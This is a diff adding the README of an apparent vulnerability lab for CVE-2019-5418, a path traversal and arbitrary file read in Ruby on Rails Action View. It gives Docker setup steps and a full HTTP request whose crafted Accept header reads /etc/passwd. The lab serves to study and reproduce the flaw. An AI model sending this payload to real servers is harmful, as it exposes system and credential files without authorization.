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+# Ruby on Rails Path Traversal and Arbitrary File Read (CVE-2019-5418)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Ruby on Rails is a web application framework that allows developers to build web applications quickly and easily.
+
+There is a local file inclusion vulnerability in Ruby on Rails action view <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 and v3.
+
+When using `render file` in a controller to render views outside the application, Rails determines the file location based on the user-supplied Accept header. By sending an Accept header with the value `Accept: ../../../../../../../../etc/passwd{{`, attackers can exploit a path traversal vulnerability to read arbitrary files.
+
+References:
+
+- https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q
+- https://github.com/mpgn/CVE-2019-5418
+- https://xz.aliyun.com/t/4448
+
+## Environment Setup
+
+Execute the following command to compile and start Ruby on Rails 5.2.2:
+
+```
+docker compose build
+docker compose up -d
+```
+
+After the server starts, visit `http://your-ip:3000` to see the Ruby on Rails welcome page.
+
+## Vulnerability Reproduction
+
+Visit `http://your-ip:3000/robots` to see that the normal robots.txt file is being read.
+
+To exploit the vulnerability, send the following request to read `/etc/passwd`:
+
+```
+GET /robots HTTP/1.1
+Host: your-ip:3000
+Accept-Encoding: gzip, deflate
+Accept: ../../../../../../../../etc/passwd{{
+Accept-Language: en
+User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+Connection: close
+
+
+```
+
+Successfully read the file:
+
+![](1.png)